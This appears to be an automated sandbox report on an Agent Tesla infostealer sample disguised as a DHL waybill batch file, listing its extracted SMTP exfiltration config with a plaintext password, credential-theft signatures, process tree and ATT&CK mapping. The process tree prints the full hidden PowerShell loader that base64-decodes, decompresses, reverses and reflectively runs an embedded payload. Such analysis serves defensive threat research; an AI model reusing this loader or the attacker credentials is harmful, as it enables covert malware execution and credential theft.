Analysis
- max time kernel
136s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
- submitted
30/07/2024, 15:32
General
- Target DHL-AIR-WAYBILL.bat
- Size 1.6MB
- Sample240730-syn3fswgkm
- SHA256 abcdce91fde094dd2eeafa37e7cf5c8c9a880739b53ed0b882770cd55ee9fc52
Malware Config
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
mail.keeptraveling-eg.com
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Port
587
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Username
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Password
Do76#Zbbdonia
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Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
- Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Delays execution with timeout.exe 2 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 21 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "2⤵
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C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.Plq2⤵
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C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.Plq2⤵
- Sets file to hidden
- Views/modifies file attributes
-
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C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.PlqC:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat.Plq -WindowStyle hidden -command "$Hgoqisbp = get-content 'C:\Users\Admin\AppData\Local\Temp\DHL-AIR-WAYBILL.bat' | Select-Object -Last 1; $Ukzawnkqruz = [System.Convert]::FromBase64String($Hgoqisbp);$Uqvewwx = New-Object System.IO.MemoryStream( , $Ukzawnkqruz );$Xenjxehdvji = New-Object System.IO.MemoryStream;$Pctfsel = New-Object System.IO.Compression.GzipStream $Uqvewwx, ([IO.Compression.CompressionMode]::Decompress);$Pctfsel.CopyTo( $Xenjxehdvji );$Pctfsel.Close();$Uqvewwx.Close();[byte[]] $Ukzawnkqruz = $Xenjxehdvji.ToArray();[Array]::Reverse($Ukzawnkqruz); $Gmduu = [System.Threading.Thread]::GetDomain().Load($Ukzawnkqruz); $Oygpjvh = $Gmduu.EntryPoint; [System.Delegate]::CreateDelegate([Action], $Oygpjvh.DeclaringType, $Oygpjvh.Name).DynamicInvoke() | Out-Null"2⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 53⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\timeout.exetimeout 54⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 53⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\timeout.exetimeout 54⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
3Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
DHL-AIR-WAYBILL.bat.Plq
__PSScriptPolicyTest_fmikjuso.bt4.ps1
memory/4548-5-0x000000007474E000-0x000000007474F000-memory.dmp
memory/4548-6-0x0000000004F90000-0x0000000004FC6000-memory.dmp
memory/4548-7-0x0000000074740000-0x0000000074EF0000-memory.dmp
memory/4548-9-0x0000000074740000-0x0000000074EF0000-memory.dmp
memory/4548-8-0x0000000005730000-0x0000000005D58000-memory.dmp
memory/4548-10-0x0000000005580000-0x00000000055A2000-memory.dmp
memory/4548-12-0x0000000005690000-0x00000000056F6000-memory.dmp
memory/4548-22-0x0000000005E20000-0x0000000006174000-memory.dmp
memory/4548-11-0x0000000005620000-0x0000000005686000-memory.dmp
memory/4548-23-0x0000000006540000-0x000000000655E000-memory.dmp
memory/4548-24-0x00000000065E0000-0x000000000662C000-memory.dmp
memory/4548-26-0x0000000006A70000-0x0000000006A8A000-memory.dmp
memory/4548-27-0x0000000006AC0000-0x0000000006AE2000-memory.dmp
memory/4548-28-0x0000000007D90000-0x0000000008334000-memory.dmp
memory/4548-25-0x0000000006AF0000-0x0000000006B86000-memory.dmp
memory/4548-29-0x00000000089C0000-0x000000000903A000-memory.dmp
memory/4548-30-0x0000000007860000-0x00000000079C4000-memory.dmp
memory/4548-31-0x00000000087F0000-0x0000000008906000-memory.dmp
memory/4548-75-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-71-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-79-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-95-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-93-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-91-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-89-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-87-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-85-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-83-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-81-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-77-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-69-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-67-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-65-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-63-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-59-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-57-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-55-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-53-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-47-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-41-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-73-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-39-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-37-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-35-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-61-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-33-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-51-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-49-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-32-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-45-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-43-0x00000000087F0000-0x0000000008900000-memory.dmp
memory/4548-1069-0x0000000008770000-0x00000000087BC000-memory.dmp
memory/4548-1068-0x0000000008900000-0x0000000008996000-memory.dmp
memory/4548-1071-0x000000000A360000-0x000000000A3B4000-memory.dmp
memory/4548-1075-0x000000000A4D0000-0x000000000A512000-memory.dmp
memory/4548-1077-0x000000000A830000-0x000000000A880000-memory.dmp
memory/4548-1078-0x000000000A920000-0x000000000A9B2000-memory.dmp
memory/4548-1079-0x000000000A8C0000-0x000000000A8CA000-memory.dmp
memory/4548-1080-0x000000007474E000-0x000000007474F000-memory.dmp
memory/4548-1081-0x0000000074740000-0x0000000074EF0000-memory.dmp